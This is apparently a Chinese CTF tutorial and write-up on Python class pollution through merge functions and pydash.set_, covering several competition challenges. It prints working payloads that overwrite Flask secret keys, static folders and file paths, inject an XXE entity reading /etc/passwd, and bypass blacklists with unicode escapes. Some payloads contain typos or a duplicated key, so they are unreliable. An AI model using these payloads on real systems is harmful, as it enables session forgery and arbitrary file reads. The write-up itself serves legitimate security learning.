简介

  • 原理:python中的原型链污染是指通过对对象原型链中的属性,对程序的行为产生意外影响或者利用漏洞进行攻击

  • 简介:在python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身进行查找,如果找不到就回去原型链上的上级对象中进行查找,原型链污染的攻击思路就是通过修改对象原型链中的属性,使得程序在访问属性或者方法时得到不符合预期的结果。

  • tip:原型链污染是无法直接进行rce的,而是通过污染一些关键函数的参数,导致命令执行或者污染一些魔术变量来进行任意文件或者目录的读取

  • 常见的污染处:

    • merge函数(可以通过控制src来对dst进行污染)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      def merge(src, dst):  #src为原字典,dst为目标字典
      # Recursive merge function
      for k, v in src.items():
      if hasattr(dst, '__getitem__'): # 如果实现了__getitem__魔术方法,则可以用键值对字典形式访问对象属性
      if dst.get(k) and type(v) == dict:
      merge(v, dst.get(k)) #递归到字典最后一层
      else:
      dst[k] = v
      elif hasattr(dst, k) and type(v) == dict: # 如果dst有键k,且值v还是字典,进入递归
      merge(v, getattr(dst, k)) # 直到递归到最终的父类
      else:
      setattr(dst, k, v)

      # 函数解释:
      1.hasattr(object, attribute_name) # 检查一个对象是否具有指定的属性或方法
      object: 你要检查的对象。
      attribute_name: 一个字符串,表示你要检查的属性或方法的名称。

      2.getattr(object, attribute_name[, default]) # 获取对象的指定属性的值
      object: 你要查询的对象。
      attribute_name: 一个字符串,表示你要获取的属性名称。
      default: 可选参数。如果指定的属性不存在,将返回这个默认值。如果省略而属性不存在,会引发 AttributeError 异常。

      3.setattr(object, attribute_name, value) # 设置对象的属性值
      object: 你要修改的对象。
      attribute_name: 一个字符串,表示你要设置的属性的名称。
      value: 要设置的属性的值。

      __getitem__ 方法: 这是一个特殊方法(魔术方法),用于定义如何通过索引访问对象的元素。例如,列表、字典和字符串都实现了 __getitem__ 方法,从而允许通过下标或键来访问其元素。
    • Pydash函数污染,漏洞出现场景

      1
      2
      pollute = Pollute()
      pydash.set_(pollute, key, value)
    • set_和set_with函数

常见类型

污染属性

  • 污染属性:直接污染某个类里面的某一个属性

    • 可以通过base属性找到他继承的父类
    • 如果存在多层模块导入,甚至是存在于内置模块或第三方模块中导入,这个时候通过直接看代码文件中import语法查找十分困难,就可以通过sys模块,sys模块的modules属性用字典的形式包含了程序子开始运行时已经加载过的模块,可以直接从这个属性获取到目标模块

污染全局变量

  • 污染全局变量:python中的所有全局变量都记录在globals属性中,因此污染全局变量的关键就是在找到全局属性,像file属性之类的

    • 在python中,函数或者类方法(对于类的内置方法就像init这些来说,内置方法在并未重写的时候它的数据类型为装饰器即wrapper_descriptor,只有在重写之后才是函数function)均有一个global属性,这个属性将函数或者类方法所申明的变量空间中的全局变量以字典的形式返回,就是globals函数的返回值,上文也有详细介绍

    • demo

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      from flask import Flask
      from pydash import set_
      import json

      app = Flask(__name__)

      class Pollute:
      def __init__(self):
      pass

      @app.route('/', methods=['GET', 'POST'])
      def hello_world():
      return open(__file__).read()

      @app.route('/pollute', methods=['GET', 'POST'])
      def Pollution():
      payload = {
      r"key": r"__init__.__globals__.__file__",
      r"value": r"/flag"
      }
      key = payload['key']
      value = payload['value']
      pollute = Pollute()
      set_(pollute,key,value)
      return "Finished pollute "


      if __name__ == '__main__':
      app.run(host='0.0.0.0', port=5000,debug=True)

已加载模块获取

  • 局限于当前模块的全局变量获取显然不够,很多情况下需要对并不是定义在入口文件中的类对象或者属性,而我们操作位置又在入口文件中,这个时候就需要对其他加载过的模块获取

    • 加载关系简单:在加载关系简单的情况下,我们可以直接从文件的import语法部分找到目标模块,这个时候我们就可以通过全局变量来得到目标模块

    • 加载关系复杂:很多环境中往往是多层模块导入,甚至是存在内置模块或者第三方模块导入,这个时候就需要利用sys模块,sys模块的modules属性以字典的形式包含了程序从开始运行时所有已经加载过的模块,我们可以直接从这个属性获取到目标模块

    • 进一步优化:这里采用的时==python中加载器loader==,简单来说就是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现,importlib模块下所有的py文件中都引入了sys模块

      • 所以只要我们能够得到一个loader就可以用下面的方式拿到sys模块,进而获取到我们想要的模块

        1
        loader.__init__.__globals__['sys']

注册系统污染

  • 注册系统污染

    • 大多数情况下我们是看不到源代码的,这时候就需要猜测我们需要污染的对象,比如在一个登录常见下,目标使用了session,而我们需要伪造session成为管理员,这时候就需要我们污染key

    • demo

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      import requests
      import json

      url = "https://url/register"
      payload = {
      "username": "test",
      "password": "test",
      "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}},
      }
      r = requests.post(url=url, json=payload)
      print(r.text)
极客大挑战(ez_js)
  • 第一关是登录:用户名Starven密码六位数爆破

  • 登陆后获到部分源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function merge(object1, object2) {
    for (let key in object2) {
    if (key in object2 && key in object1) {
    merge(object1[key], object2[key]);
    } else {
    object1[key] = object2[key];
    }
    }
    }
  • 进行污染(就是这里hasflag,出题人你让我拿什么猜)

    1
    {"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}
  • 然后去到/flag路由查看,官方wp上面写的是第二层存在黑名单对(/2c|8c|,/ig)这些进行了过滤,这里考察的就是逗号绕过,req.query —–解析—-> 数组 —-json.parse–> 对象,同一参数名解析后会带上都好,因此对syc参数传数组就行

    1
    syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

原型链污染配合xxe

极客大挑栈(py_game)
  • 这道题考点很多,结合了session若密钥爆破、python原型链污染、xml外部实体注入实现任意文件读取

  • 进入环境发现是一个登录注册的界面,先登录注册一个账号,发现和session伪造有点像,先尝试爆破密

  • 得到密钥a123456,然后进行session伪造

  • 替换session然后下载源码,发现下载下来是pyc文件,找个在线反编译的网站反编译,得到源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
    # Version : Python 3.6

    import json
    from lxml import etree
    from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
    app = Flask(__name__)
    app.secret_key = 'a123456'
    app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

    class User:

    def __init__(self, username, password):
    self.username = username
    self.password = password


    def check(self, data):
    if self.username == data['username']:
    pass
    return self.password == data['password']


    admin = User('admin', '123456j1rrynonono')
    Users = [
    admin]

    def update(src, dst):
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and isinstance(v, dict):
    update(v, dst.get(k))
    else:
    dst[k] = v
    if hasattr(dst, k) and isinstance(v, dict):
    update(v, getattr(dst, k))
    continue
    setattr(dst, k, v)



    def register():
    if request.method == 'POST':
    username = request.form['username']
    password = request.form['password']
    for u in Users:
    if u.username == username:
    flash('用户名已存在', 'error')
    return redirect(url_for('register'))

    new_user = User(username, password)
    Users.append(new_user)
    flash('注册成功!请登录', 'success')
    return redirect(url_for('login'))
    return None('register.html')

    register = app.route('/register', [
    'GET',
    'POST'], **('methods',))(register)

    def login():
    if request.method == 'POST':
    username = request.form['username']
    password = request.form['password']
    for u in Users:
    if u.check({
    'username': username,
    'password': password }):
    session['username'] = username
    flash('登录成功', 'success')
    return redirect(url_for('dashboard'))

    flash('用户名或密码错误', 'error')
    return redirect(url_for('login'))
    return None('login.html')

    login = app.route('/login', [
    'GET',
    'POST'], **('methods',))(login)

    def play():
    pass
    # WARNING: Decompyle incomplete

    play = app.route('/play', [
    'GET',
    'POST'], **('methods',))(play)

    def admin():
    if 'username' in session and session['username'] == 'admin':
    return render_template('admin.html', session['username'], **('username',))
    None('你没有权限访问', 'error')
    return redirect(url_for('login'))

    admin = app.route('/admin', [
    'GET',
    'POST'], **('methods',))(admin)

    def downloads321():
    return send_file('./source/app.pyc', True, **('as_attachment',))

    downloads321 = app.route('/downloads321')(downloads321)

    def index():
    return render_template('index.html')

    index = app.route('/')(index)

    def dashboard():
    if 'username' in session:
    is_admin = session['username'] == 'admin'
    if is_admin:
    user_tag = 'Admin User'
    else:
    user_tag = 'Normal User'
    return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
    None('请先登录', 'error')
    return redirect(url_for('login'))

    dashboard = app.route('/dashboard')(dashboard)

    def xml_parse():

    try:
    xml_bytes = app.config['xml_data'].encode('utf-8')
    parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
    tree = etree.fromstring(xml_bytes, parser, **('parser',))
    result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
    return Response(result_xml, 'application/xml', **('mimetype',))
    except etree.XMLSyntaxError:
    e = None

    try:
    return str(e)
    e = None
    del e
    return None



    xml_parse = app.route('/xml_parse')(xml_parse)
    black_list = [
    '__class__'.encode(),
    '__init__'.encode(),
    '__globals__'.encode()]

    def check(data):
    print(data)
    for i in black_list:
    print(i)
    if i in data:
    print(i)
    return False

    return True


    def update_route():
    if 'username' in session and session['username'] == 'admin':
    if request.data:

    try:
    if not check(request.data):
    return ('NONONO, Bad Hacker', 403)
    data = None.loads(request.data.decode())
    print(data)
    if all((lambda .0: pass)(data.values())):
    update(data, User)
    return (jsonify({
    'message': '更新成功' }), 200)
    return None
    except Exception:
    e = None

    try:
    return (f'''Exception: {str(e)}''', 500)
    e = None
    del e
    return ('No data provided', 400)
    return redirect(url_for('login'))
    return None



    update_route = app.route('/update', [
    'POST'], **('methods',))(update_route)
    if __name__ == '__main__':
    app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))
  • 发现update处存在原型链污染的方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    def update(src, dst):
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and isinstance(v, dict):
    update(v, dst.get(k))
    else:
    dst[k] = v
    if hasattr(dst, k) and isinstance(v, dict):
    update(v, getattr(dst, k))
    continue
    setattr(dst, k, v)
  • 查看哪里调用了update方法,发现update_route这里调用了update,并且这里调用了json.loads可以对unicode字符解码,可以利用着特性绕过黑名单的部分限制

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    def update_route():
    if 'username' in session and session['username'] == 'admin':
    if request.data:

    try:
    if not check(request.data):
    return ('NONONO, Bad Hacker', 403)
    data = None.loads(request.data.decode())
    print(data)
    if all((lambda .0: pass)(data.values())):
    update(data, User)
    return (jsonify({
    'message': '更新成功' }), 200)
    return None
    except Exception:
    e = None

    try:
    return (f'''Exception: {str(e)}''', 500)
    e = None
    del e
    return ('No data provided', 400)
    return redirect(url_for('login'))
    return None
  • 同时在/xml_parse路由下存在一个xml解析功能,==由于load_dtd=true==可以加载外部实体存在xxe攻击可以实现任意文件读取,由于xml_bytes的数据来自于app.config[‘xml_data’],所以我们尝试污染xml_data

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    def xml_parse():

    try:
    xml_bytes = app.config['xml_data'].encode('utf-8')
    parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
    tree = etree.fromstring(xml_bytes, parser, **('parser',))
    result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
    return Response(result_xml, 'application/xml', **('mimetype',))
    except etree.XMLSyntaxError:
    e = None

    try:
    return str(e)
    e = None
    del e
    return None
    xml_parse = app.route('/xml_parse')(xml_parse)
  • 先构造payload

    1
    2
    3
    4
    5
    6
    7
    {"__init__":{"__glovals__":{"app":{"config":{"xml_data":"<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "/etc/passwd" >]>
    <creds>
    <user>&xxe;</user>
    <pass>J1rrY</pass>
    </creds>"}}}}}
  • 然后使用unicode编码绕过,也就是\u00加上十六进制的数字

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    {"_\u005Finit__":{"_\u005Fglobals__":{"app":{"config":
    {"xml_data":"\u003C\u0021\u0044\u004F\u0043\u0054\u0059\u0050\u0045\u0020\u0066\
    u006F\u006F\u0020\u005B\u000A\u003C\u0021\u0045\u004C\u0045\u004D\u0045\u004E\u0
    054\u0020\u0066\u006F\u006F\u0020\u0041\u004E\u0059\u0020\u003E\u000A\u003C\u002
    1\u0045\u004E\u0054\u0049\u0054\u0059\u0020\u0078\u0078\u0065\u0020\u0053\u0059\
    u0053\u0054\u0045\u004D\u0020\u0022\u002F\u0065\u0074\u0063\u002F\u0070\u0061\u0
    073\u0073\u0077\u0064\u0022\u0020\u003E\u005D\u003E\u000A\u003C\u0063\u0072\u006
    5\u0064\u0073\u003E\u000A\u00A0\u0020\u00A0\u0020\u003C\u0075\u0073\u0065\u0072\
    u003E\u0026\u0078\u0078\u0065\u003B\u003C\u002F\u0075\u0073\u0065\u0072\u003E\u0
    00A\u00A0\u0020\u00A0\u0020\u003C\u0070\u0061\u0073\u0073\u003E\u004A\u0031\u007
    2\u0072\u0059\u003C\u002F\u0070\u0061\u0073\u0073\u003E\u000A\u003C\u002F\u0063\
    u0072\u0065\u0064\u0073\u003E"}}}}}

特定值替换

  • 特定值替换:os.environ赋值(NCTF2022-calc)

  • flask相关特定属性:

    • flask初始化的时候会生成很多属性

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      def __init__(
      self,
      import_name: str,
      static_url_path: str | None = None,
      static_folder: str | os.PathLike | None = "static",
      static_host: str | None = None,
      host_matching: bool = False,
      subdomain_matching: bool = False,
      template_folder: str | os.PathLike | None = "templates",
      instance_path: str | None = None,
      instance_relative_config: bool = False,
      root_path: str | None = None,
      ):
      #还有一些其他的成员
      self.config 用来存储配置 self.extensions 用来存储扩展的状态。
      self.aborter 和 self.url_build_error_handlers 用来处理 HTTP 错误和 URL 构建错误。
      self.teardown_appcontext_funcs 和 self.shell_context_processors 用来管理应用上下文和 shell 上下文。
      self.blueprints 用来组织应用的模块化功能,self.url_map 管理路由规则。
      self.url_map 储存了应用的路由信息
      self.add_url_rule用来添加 URL 规则
    • secret_key:决定flask的session生成的重要参数,知道该参数可以实现session任意伪造

    • _got_first_request:用于判断是否某次请求为flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,_got_first_request只有值为假的时候才会调用

    • before_first_request:修饰的init函数只会在第一次访问前调用,而其中读取flag的逻辑有需要访问路由/后才能触发,这就构成了矛盾。所以需要使用payload在访问后重置_geo_first_request属性为假的时候才会被 再次调用

    • _static_url_path:这个属性存放的是flask中静态目录的值,默认该值为static。

      • 如果我们修改了相关的值,就可能会造成任意文件读取,并且在参数传递的时候,不可以使用等号给他们赋值,而是需要使用setattr来给他们赋值,这个方法同时适用ssti

        1
        setattr(app,'_static_folder','/')
    • os.path.pardir:这个os模块下的变量会影响flask的模块渲染函数render_template的解析

ciscn2024 sanic
  • 考点:sanic框架下存在的原型链污染(pydash)

  • 访问src得到源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    from sanic import Sanic
    from sanic.response import text, html
    from sanic_session import Session
    import pydash
    # pydash==5.1.2


    class Pollute:
    def __init__(self):
    pass


    app = Sanic(__name__)
    app.static("/static/", "./static/")
    Session(app)

    pyl
    @app.route('/', methods=['GET', 'POST'])
    async def index(request):
    return html(open('static/index.html').read())


    @app.route("/login")
    async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
    request.ctx.session['admin'] = True
    return text("login success")

    return text("login fail")


    @app.route("/src")
    async def src(request):
    return text(open(__file__).read())


    @app.route("/admin", methods=['GET', 'POST'])
    async def admin(request):
    if request.ctx.session.get('admin') == True:
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
    pollute = Pollute()
    pydash.set_(pollute, key, value)
    return text("success")
    else:
    return text("forbidden")

    return text("forbidden")


    if __name__ == '__main__':
    app.run(host='0.0.0.0')
  • 先来分析一下

    • 在/login路由下我们需要绕过user.lower() == ‘adm;n’的限制,由于这里是从session中读取,所以默认会在分号进行截断,无法之际传值,那么就要利用八进制编码进行绕过

    • 伪造之后成功获得session,之后将session替换就可以进入admin进行污染了,我们先尝试污染file变量

    • 访问后成功获得/etc/passwd的内容,但是尝试污染/flag的内容却失败了,那么这里就需要我们利用原型链污染的方式==开启列目录的功能,查看根目录下flag的名称,再进行读取==

  • 那么我们就开寻找这条原型链

    • 跟着gxngxngxn师傅的博客进行寻找,我们可以发现directory_view的功能是开启列目录,而directory_handler中可以获取指定的目录
    • 最后发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
    • 这个框架可以通过app.router.name_index[‘xxxxx’]来获取注册的路由,并且我们可以通过相应的键值去访问对应的路由
  • 最终的payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import requests

    #开启列目录
    #data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

    #将目录设置在根目录下
    #data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

    #读取flag文件
    data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

    cookie={"session":"3abd21eb8514491bb86b39f9d1527347"}

    response = requests.post(url='http://5cca6275-4025-4f2f-8bb6-5760b0098b6c.challenge.ctf.show/admin', json=data,cookies=cookie)

    print(response.text)

污染jinja2的语法标签符

XGCTF西瓜杯 easy_polluted
  • 下载附件,得到源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    from flask import Flask, session, redirect, url_for,request,render_template
    import os
    import hashlib
    import json
    import re
    def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
    def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
    if re.search(pattern, user_input, re.IGNORECASE):
    return True
    return False
    def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and type(v) == dict:
    merge(v, dst.get(k))
    else:
    dst[k] = v
    elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
    else:
    setattr(dst, k, v)


    app = Flask(__name__)
    app.secret_key = generate_random_md5()

    class evil():
    def __init__(self):
    pass

    @app.route('/',methods=['POST'])
    def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
    if filter(str(request.data)):
    return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
    else:
    merge(json.loads(request.data), Evil)
    return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

    @app.route('/admin',methods=['POST', 'GET'])
    def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
    if username == "adminer" and password == app.secret_key:
    return render_template("flag.html", flag=open("/flag", "rt").read())
    else:
    return "Unauthorized"
    else:
    return f'Hello, This is the POLLUTED page.'

    if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

  • 源码分析

    • 存在原型链污染

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      def merge(src, dst):
      # Recursive merge function
      for k, v in src.items():
      if hasattr(dst, '__getitem__'):
      if dst.get(k) and type(v) == dict:
      merge(v, dst.get(k))
      else:
      dst[k] = v
      elif hasattr(dst, k) and type(v) == dict:
      merge(v, getattr(dst, k))
      else:
      setattr(dst, k, v)
    • admin路由下可以读取flag,但是会验证session,并且我们只要知道flask的secret_key就可以进行session伪造

    • 并且我们发现Evil实例下存在原型链污染,那么我们就可以污染环境变量,从而就可以修改secret为我们自己定义的值,然后就可以进行session伪造

  • 污染环境变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {
    "__init__":{
    "__globals__":{
    "app":{
    "secret_key":"pass"
    }
    }
    }
    }
  • 或者直接污染到根目录

    1
    {"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}}}}
  • 但是存在黑名单,所以我们选择进行unicode编码绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
    "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
    "\u0061\u0070\u0070":{
    "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"pass"
    }
    }
    }
    }
  • 然后看到提示说[%flag%]是这种形式的,就想到了污染jinja2的语法标识符为[%%],让他输出flag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "__init__":{
    "__globals__":{
    "app":{
    "jinja_env":{
    "variable_start_string":"[%","variable_end_string":"%]"
    }
    }
    }
    }
    }
  • unicode编码一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
    "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
    "\u0061\u0070\u0070":{
    "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{
    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[%","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"%]"
    }
    }
    }
    }
    }

参考